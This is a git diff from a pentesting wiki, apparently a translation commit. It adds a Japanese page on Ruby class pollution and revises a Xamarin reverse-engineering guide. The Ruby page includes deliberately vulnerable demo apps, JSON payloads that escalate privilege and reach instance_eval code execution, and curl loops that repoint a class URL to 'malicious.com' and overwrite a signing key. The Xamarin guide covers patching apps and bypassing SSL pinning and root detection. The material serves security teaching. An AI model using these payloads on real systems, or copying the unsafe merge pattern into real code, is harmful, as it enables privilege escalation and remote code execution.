Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria
BIN
.gitbook/assets/image (1255).png
Normal file
After Width: | Height: | Size: 153 KiB |
BIN
.gitbook/assets/image (1256).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1257).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1258).png
Normal file
After Width: | Height: | Size: 218 KiB |
BIN
.gitbook/assets/image (1259).png
Normal file
After Width: | Height: | Size: 167 KiB |
BIN
.gitbook/assets/image (1260).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1261).png
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
.gitbook/assets/image (1262).png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
.gitbook/assets/image (1263).png
Normal file
After Width: | Height: | Size: 168 KiB |
|
@ -570,6 +570,7 @@
|
|||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
* [Email Injections](pentesting-web/email-injections.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,31 +15,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **基本情報**
|
||||
|
||||
Xamarinは、開発者が.NETおよびC#フレームワークを使用して**iOS、Android、Windows用のアプリを構築**するために設計された**オープンソースプラットフォーム**です。このプラットフォームは、効率的に現代的なアプリケーションを作成するための多数のツールと拡張機能へのアクセスを提供します。
|
||||
|
||||
### Xamarinのアーキテクチャ
|
||||
|
||||
- **Android**の場合、Xamarinは.NETバインディングを介してAndroidおよびJava名前空間と統合され、Android Runtime (ART)とともにMono実行環境内で動作します。Managed Callable Wrappers (MCW)とAndroid Callable Wrappers (ACW)は、MonoとART間の通信を促進し、どちらもLinuxカーネル上に構築されています。
|
||||
- **iOS**の場合、アプリケーションはMonoランタイムの下で実行され、C# .NETコードをARMアセンブリ言語に変換するために完全なAhead of Time (AOT)コンパイルを利用します。このプロセスは、UNIXライクなカーネル上のObjective-C Runtimeとともに実行されます。
|
||||
* **Android**の場合、Xamarinは.NETバインディングを介してAndroidおよびJava名前空間と統合され、Mono実行環境内でAndroid Runtime (ART)と共に動作します。Managed Callable Wrappers (MCW)およびAndroid Callable Wrappers (ACW)は、MonoとART間の通信を促進し、両者はLinuxカーネル上に構築されています。
|
||||
* **iOS**の場合、アプリケーションはMonoランタイムの下で実行され、C# .NETコードをARMアセンブリ言語に変換するために完全なAhead of Time (AOT)コンパイルを利用します。このプロセスは、UNIXライクなカーネル上のObjective-C Runtimeと共に実行されます。
|
||||
|
||||
### .NETランタイムとMonoフレームワーク
|
||||
|
||||
**.NETフレームワーク**には、アプリケーション開発のためのアセンブリ、クラス、および名前空間が含まれており、.NETランタイムがコードの実行を管理します。プラットフォームの独立性と後方互換性を提供します。**Monoフレームワーク**は、2005年にLinux向けに.NETを拡張するために開始されたオープンソース版の.NETフレームワークで、現在はMicrosoftによってサポートされ、Xamarinによって主導されています。
|
||||
**.NETフレームワーク**には、アプリケーション開発のためのアセンブリ、クラス、および名前空間が含まれ、.NETランタイムがコードの実行を管理します。プラットフォームの独立性と後方互換性を提供します。**Monoフレームワーク**は、2005年にLinux向けに.NETを拡張するために開始されたオープンソース版の.NETフレームワークで、現在はMicrosoftによってサポートされ、Xamarinによって主導されています。
|
||||
|
||||
### Xamarinアプリの逆コンパイル
|
||||
### Xamarinアプリのリバースエンジニアリング
|
||||
|
||||
#### Xamarinアセンブリの逆コンパイル
|
||||
#### Xamarinアセンブリのデコンパイル
|
||||
|
||||
逆コンパイルは、コンパイルされたコードをソースコードに戻すプロセスです。Windowsでは、Visual Studioのモジュールウィンドウが逆コンパイルのためのモジュールを特定でき、サードパーティのコードへの直接アクセスと分析のためのソースコードの抽出を可能にします。
|
||||
デコンパイルは、コンパイルされたコードをソースコードに戻すプロセスです。Windowsでは、Visual Studioのモジュールウィンドウがデコンパイル用のモジュールを特定でき、サードパーティのコードへの直接アクセスと分析のためのソースコードの抽出を可能にします。
|
||||
|
||||
#### JITとAOTコンパイル
|
||||
|
||||
- **Android**は、Just-In-Time (JIT)およびAhead-Of-Time (AOT)コンパイルをサポートしており、最適な実行速度のためのハイブリッドAOTモードがあります。完全なAOTはエンタープライズライセンス専用です。
|
||||
- **iOS**は、Appleの動的コード実行に関する制限のため、AOTコンパイルのみを使用します。
|
||||
* **Android**は、Just-In-Time (JIT)およびAhead-Of-Time (AOT)コンパイルをサポートし、最適な実行速度のためのハイブリッドAOTモードを提供します。完全なAOTはエンタープライズライセンス専用です。
|
||||
* **iOS**は、Appleの動的コード実行に関する制限のため、AOTコンパイルのみを使用します。
|
||||
|
||||
### APK/IPAからのdllファイルの抽出
|
||||
|
||||
|
@ -47,15 +45,21 @@ APK/IPA内のアセンブリにアクセスするには、ファイルを解凍
|
|||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Androidのアセンブリブロブには、[pyxamstore](https://github.com/jakev/pyxamstore)を使用してアンパックできます。
|
||||
APKを逆コンパイルした後、unknown/assemblies/フォルダ内に`.dll`ファイルが見える場合、[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用して`.dll`を直接分析することが可能です。\
|
||||
しかし、時にはunknown/assemblies/フォルダ内に`assemblies.blob`と`assemblies.manifest`ファイルが見つかることがあります。ツール[pyxamstore](https://github.com/jakev/pyxamstore)は、Xamarinアプリの`assemblies.blob`ファイルを解凍するために使用でき、さらなる分析のために.NETアセンブリにアクセスすることを可能にします。
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOSのdllファイルは逆コンパイルのために容易にアクセス可能であり、アプリケーションコードの重要な部分が明らかになり、異なるプラットフォーム間で共通のベースを共有することがよくあります。
|
||||
iOSのdllファイルは逆コンパイルのために容易にアクセス可能であり、アプリケーションコードの重要な部分を明らかにします。これらは異なるプラットフォーム間で共通のベースを共有することがよくあります。
|
||||
|
||||
### 静的分析
|
||||
|
||||
`.dll`を取得したら、[**dnSpy**](https://github.com/dnSpy/dnSpy) **や** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **などのツールを使用して、.Netコードを静的に分析することが可能です。これにより、アプリのコードを変更することができます。これは、保護を回避するためにアプリケーションを改ざんするのに非常に役立ちます。\
|
||||
アプリを変更した後は、再度パッキングし、再署名する必要があることに注意してください。
|
||||
|
||||
### 動的分析
|
||||
|
||||
動的分析は、SSLピンニングのチェックと、Xamarinアプリの.NETバイナリのランタイム修正のために[Fridax](https://github.com/NorthwaveSecurity/fridax)のようなツールを使用することを含みます。Fridaスクリプトは、ルート検出やSSLピンニングを回避するために利用可能で、分析能力を向上させます。
|
||||
動的分析は、SSLピンニングのチェックや、Xamarinアプリの.NETバイナリのランタイム変更のために[Fridax](https://github.com/NorthwaveSecurity/fridax)のようなツールを使用することを含みます。Fridaスクリプトは、ルート検出やSSLピンニングを回避するために利用可能で、分析能力を向上させます。
|
||||
|
||||
他の興味深いFridaスクリプト:
|
||||
|
||||
|
@ -63,22 +67,27 @@ iOSのdllファイルは逆コンパイルのために容易にアクセス可
|
|||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
### 再署名
|
||||
|
||||
ツール[Uber APK Signer](https://github.com/patrickfav/uber-apk-signer)は、同じキーで複数のAPKに署名することを簡素化し、変更を加えた後にアプリを再署名するために使用できます。
|
||||
|
||||
## さらなる情報
|
||||
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
441
pentesting-web/deserialization/ruby-class-pollution.md
Normal file
|
@ -0,0 +1,441 @@
|
|||
# Ruby Class Pollution
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
これは投稿の要約です [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
## 属性のマージ
|
||||
|
||||
例:
|
||||
```ruby
|
||||
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||||
# Comments added to exploit the merge on attributes
|
||||
require 'json'
|
||||
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
# Authorize based on the `to_s` method result
|
||||
def authorize
|
||||
if to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
# Health check that executes all protected methods using `instance_eval`
|
||||
def health_check
|
||||
protected_methods().each do |method|
|
||||
instance_eval(method.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def check_cpu
|
||||
puts "CPU check passed."
|
||||
end
|
||||
|
||||
def check_memory
|
||||
puts "Memory check passed."
|
||||
end
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
# Perform a recursive merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
|
||||
# Execute health check (RCE vulnerability)
|
||||
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.health_check
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
### 説明
|
||||
|
||||
1. **特権昇格**: `authorize` メソッドは `to_s` が "Admin" を返すかどうかをチェックします。JSONを通じて新しい `to_s` 属性を注入することで、攻撃者は `to_s` メソッドが "Admin" を返すようにし、不正な特権を付与することができます。
|
||||
2. **リモートコード実行**: `health_check` では、`instance_eval` が `protected_methods` にリストされたメソッドを実行します。攻撃者がカスタムメソッド名(例えば `"puts 1"`)を注入すると、`instance_eval` はそれを実行し、**リモートコード実行 (RCE)** につながります。
|
||||
1. これは、**脆弱な `eval` 命令** がその属性の文字列値を実行しているためにのみ可能です。
|
||||
3. **影響の制限**: この脆弱性は個々のインスタンスにのみ影響を与え、他の `User` および `Admin` のインスタンスには影響を与えないため、悪用の範囲が制限されます。
|
||||
|
||||
### 実世界のケース <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
### ActiveSupportの `deep_merge`
|
||||
|
||||
これはデフォルトでは脆弱ではありませんが、次のようなもので脆弱にすることができます: 
|
||||
```ruby
|
||||
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||
def merge_with(other_object)
|
||||
merged_hash = to_h.deep_merge(other_object)
|
||||
|
||||
merged_hash.each do |key, value|
|
||||
self.class.attr_accessor key
|
||||
instance_variable_set("@#{key}", value)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
```
|
||||
### Hashieの`deep_merge`
|
||||
|
||||
Hashieの`deep_merge`メソッドは、プレーンハッシュではなくオブジェクト属性に直接作用します。これは、いくつかの**例外**を除いて、マージ時に属性でメソッドを置き換えることを**防ぎます**:`_`、`!`、または`?`で終わる属性は、オブジェクトにマージすることができます。
|
||||
|
||||
特別なケースとして、単独の属性**`_`**があります。単に`_`は通常`Mash`オブジェクトを返す属性です。そして、これは**例外**の一部であるため、変更することが可能です。
|
||||
|
||||
次の例を確認してください。`{"_": "Admin"}`を渡すことで、`_.to_s == "Admin"`をバイパスできることがわかります:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'hashie'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person < Hashie::Mash
|
||||
|
||||
# Method to merge additional data into the object using hashie
|
||||
def merge_with(other_object)
|
||||
deep_merge!(other_object)
|
||||
self
|
||||
end
|
||||
|
||||
# Authorize based on to_s
|
||||
def authorize
|
||||
if _.to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new({
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
# Perform a deep merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||||
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
## クラスを汚染する <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
|
||||
次の例では、**`Person`** クラスと、**`Person`** クラスから継承された **`Admin`** および **`Regular`** クラスを見つけることができます。また、**`KeySigner`** という別のクラスもあります:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'sinatra/base'
|
||||
require 'net/http'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
@@url = "http://default-url.com"
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
def self.url
|
||||
@@url
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Recursive merge to modify instance variables
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
end
|
||||
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
end
|
||||
|
||||
# A class created to simulate signing with a key, to be infected with the third gadget
|
||||
class KeySigner
|
||||
@@signing_key = "default-signing-key"
|
||||
|
||||
def self.signing_key
|
||||
@@signing_key
|
||||
end
|
||||
|
||||
def sign(signing_key, data)
|
||||
"#{data}-signed-with-#{signing_key}"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp < Sinatra::Base
|
||||
# POST /merge - Infects class variables using JSON input
|
||||
post '/merge' do
|
||||
content_type :json
|
||||
json_input = JSON.parse(request.body.read)
|
||||
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
user.merge_with(json_input)
|
||||
|
||||
{ status: 'merged' }.to_json
|
||||
end
|
||||
|
||||
# GET /launch-curl-command - Activates the first gadget
|
||||
get '/launch-curl-command' do
|
||||
content_type :json
|
||||
|
||||
# This gadget makes an HTTP request to the URL stored in the User class
|
||||
if Person.respond_to?(:url)
|
||||
url = Person.url
|
||||
response = Net::HTTP.get_response(URI(url))
|
||||
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||||
else
|
||||
{ status: 'Failed to access URL variable' }.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# Curl command to infect User class URL:
|
||||
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||||
|
||||
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||||
get '/sign_with_subclass_key' do
|
||||
content_type :json
|
||||
|
||||
# This gadget signs data using the signing key stored in KeySigner class
|
||||
signer = KeySigner.new
|
||||
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||||
|
||||
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||||
end
|
||||
|
||||
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||||
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||||
|
||||
# GET /check-infected-vars - Check if all variables have been infected
|
||||
get '/check-infected-vars' do
|
||||
content_type :json
|
||||
|
||||
{
|
||||
user_url: Person.url,
|
||||
signing_key: KeySigner.signing_key
|
||||
}.to_json
|
||||
end
|
||||
|
||||
run! if app_file == $0
|
||||
end
|
||||
```
|
||||
### ポイズン親クラス
|
||||
|
||||
このペイロードを使用して:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
親クラス **`Person`** の **`@@url`** 属性の値を変更することが可能です。
|
||||
|
||||
### **他のクラスの汚染**
|
||||
|
||||
このペイロードを使用して:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
定義されたクラスをブルートフォースすることが可能で、ある時点でクラス **`KeySigner`** を汚染し、`signing_key` の値を `injected-signing-key` に変更することができます。\
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,10 @@
|
|||
# パラメータ汚染
|
||||
|
||||
## パラメータ汚染
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -19,66 +21,132 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## HTTPパラメータ汚染 (HPP) 概要
|
||||
|
||||
# HTTPパラメータ汚染 (HPP) 概要
|
||||
HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作して、Webアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーには直接見えませんが、サーバー側でアプリケーションの機能を大きく変更し、クライアント側に観察可能な影響を与えることがあります。
|
||||
|
||||
